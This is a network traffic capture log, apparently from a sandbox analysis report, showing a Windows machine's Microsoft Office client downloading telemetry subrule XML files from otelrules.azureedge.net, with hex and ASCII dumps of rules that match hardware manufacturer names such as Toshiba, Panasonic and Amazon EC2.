2024-11-27 03:07:44 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:07:43 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: a230c581-101e-0034-3128-4096ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T030743Z-174f7845968nxc96hC1EWRspw80000000w30000000009p9h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 03:07:44 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	49821	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:44 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 03:07:45 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:07:45 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: d3507608-601e-003d-4b91-3f6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T030745Z-174f7845968xr5c2hC1EWRd0hn0000000d5g00000000bzp6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 03:07:45 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	49822	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:45 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 03:07:45 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:07:45 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: dc0e5a4e-901e-005b-0191-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T030745Z-174f78459685726chC1EWRsnbg0000000wcg00000000b4qa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 03:07:45 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	49823	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:45 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 03:07:45 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:07:45 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 5810d2d2-301e-0000-6891-3feecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T030745Z-174f7845968l4kp6hC1EWRe8840000000wmg0000000092rs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 03:07:45 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	49824	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:45 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 03:07:45 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:07:45 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: fac497c4-501e-008f-4391-3f9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T030745Z-174f78459684bddphC1EWRbht40000000w40000000006d51 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 03:07:45 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	49825	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:45 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 03:07:46 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:07:46 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: b00412e4-c01e-008d-4e65-402eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T030746Z-174f7845968cdxdrhC1EWRg0en0000000w5g00000000rhas x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 03:07:46 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	49826	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:47 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 03:07:47 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:07:47 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 48138194-301e-0020-3858-406299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T030747Z-174f78459685726chC1EWRsnbg0000000wg0000000001fkv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 03:07:47 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	49827	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:47 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 03:07:47 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:07:47 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: e52ede4a-001e-0017-0591-3f0c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T030747Z-174f7845968psccphC1EWRuz9s0000000wfg00000000nt6s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 03:07:47 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	49828	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:47 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 03:07:48 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:07:47 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: be7987d0-001e-0034-1e91-3fdd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T030747Z-174f7845968psccphC1EWRuz9s0000000wng000000005way x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 03:07:48 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	49829	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:47 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 03:07:48 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:07:47 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 6760f0bc-801e-002a-1f91-3f31dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T030747Z-174f7845968psccphC1EWRuz9s0000000wkg00000000byfq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 03:07:48 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	49830	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:48 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 03:07:48 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:07:48 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 8dfbf447-101e-0028-0f8e-3f8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T030748Z-174f7845968kdththC1EWRzvxn00000008ng00000000gbh6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 03:07:48 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	49831	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:49 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 03:07:50 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:07:49 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: cb9203b6-501e-0029-2691-3fd0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T030749Z-174f784596886s2bhC1EWR743w0000000wd0000000008fsv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 03:07:50 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	49832	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
